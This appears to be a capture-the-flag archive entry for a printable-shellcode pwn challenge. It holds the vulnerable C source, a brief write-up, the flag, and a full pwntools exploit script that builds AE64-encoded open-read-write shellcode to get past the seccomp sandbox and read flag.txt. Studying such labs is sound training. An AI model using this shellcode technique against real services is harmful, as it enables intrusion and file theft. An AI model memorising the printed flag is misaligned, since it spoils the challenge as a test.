0x00000000
← pwndbg> back

./The Fragmented Scribe_

PWN FST Bootcamp 0x4674fb5e
DESCRIPTION
The scribe is dying. The message is breaking. Only 100 fragments (bytes) remain. The language has been stripped of its direct commands (No Syscalls). The scribe accepts only the purest symbols (Printable ASCII 33-126). Can you piece together the fragment that writes history? **Constraints:** - Max 100 bytes of shellcode. - Strictly Printable ASCII (33-126). - No `syscall` (0F 05) or `int 80` (CD 80) bytes allowed.
DISASM // SOURCE
// challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <ctype.h>
#include <seccomp.h>
#include <fcntl.h>

#define MAX_SHELLCODE_SIZE 1024

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void setup_seccomp() {
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) exit(1);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    seccomp_load(ctx);
}

int validate_shellcode(unsigned char *code, size_t size) {
    for (size_t i = 0; i < size; i++) {
        if (code[i] < 32 || code[i] > 126) {
            return 0;
        }
    }
    return 1;
}

int main() {
    init();

    unsigned char *shellcode = mmap(NULL, MAX_SHELLCODE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (shellcode == MAP_FAILED) {
        perror("mmap");
        exit(1);
    }

    printf("--- THE FRAGMENTED SCRIBE ---\n");
    printf("Provide your shellcode:\n");
    printf("> ");

    ssize_t n = read(0, shellcode, MAX_SHELLCODE_SIZE);
    if (n <= 0) exit(1);

    if (!validate_shellcode(shellcode, n)) {
        printf("[ERROR] Your incantation contains forbidden shadows. The scribe refuses to write such impurity.\n");
        exit(1);
    }

    printf("[SYSTEM] Sandboxing initiated... Good luck, scribe.\n");
    setup_seccomp();

    // Stub: pass shellcode address in R13 and clean most registers.
    __asm__ volatile (
        "mov %0, %%r13\n"
        "xor %%rax, %%rax\n"
        "xor %%rbx, %%rbx\n"
        "xor %%rcx, %%rcx\n"
        "xor %%rdx, %%rdx\n"
        "xor %%rsi, %%rsi\n"
        "xor %%rdi, %%rdi\n"
        "jmp *%%r13\n"
        :
        : "r" (shellcode)
        : "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r13"
    );

    return 0;
}
WRITEUP // WALKTHROUGH

Fragmented Scribe (FST) — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Hard
Author R3t0x
Technique Printable Shellcode + Seccomp ORW

About

This is the same challenge as the MOJO-JOJO version. It uses printable-only shellcode validation and a seccomp sandbox that only allows read, write, open, openat, exit, and exit_group.

Strategy

  1. Craft an ORW (Open-Read-Write) shellcode to read flag.txt
  2. Encode it using the AE64 alphanumeric encoder with R13 as the base register
  3. Send the encoded shellcode — all bytes pass the printable validation

See the full MOJO-JOJO fragmented_scribe writeup for detailed exploit code.

Result

Securinets{fr4gm3nt3d_but_n0t_br0k3n}
EXECUTION // EXPLOIT
$ python3 solve.py
import sys
sys.path.insert(0, '/tmp/ae64')

from pwn import *
from ae64 import AE64
import time

context.arch = 'amd64'

def get_process():
    if args.REMOTE:
        return remote('48.220.35.76', 1338)
    else:
        return process('./challenge')

# Generate base shellcode for reading the flag using Open-Read-Write
# (Avoiding sendfile as it's not in the seccomp filter)
base_sc = asm(shellcraft.open('flag.txt') + shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))
info(f"Base shellcode length: {len(base_sc)}")

# Use AE64 to encode the shellcode
# We specifically use R13 as the base register as set in the challenge stub.
obj = AE64()
encoded_sc = obj.encode(base_sc, 'r13')

success(f"Encoded shellcode length: {len(encoded_sc)}")
success(f"Is all printable: {all(32 <= b <= 126 for b in encoded_sc)}")

# Run the exploit
io = get_process()
io.recvuntil(b"> ")
io.send(encoded_sc)

try:
    # Give it a moment to decode and run
    time.sleep(0.5)
    output = io.recvall(timeout=3).decode(errors='ignore')
    print("\n" + "="*40)
    print(output)
    print("="*40 + "\n")
    
    if "Securinets" in output:
        flag_line = [line for line in output.split('\n') if 'Securinets' in line][0]
        success(f"FLAG: {flag_line}")
    else:
        error("No flag found. Check if the exploit ran correctly.")
except Exception as e:
    error(f"Error during flag retrieval: {e}")

io.close()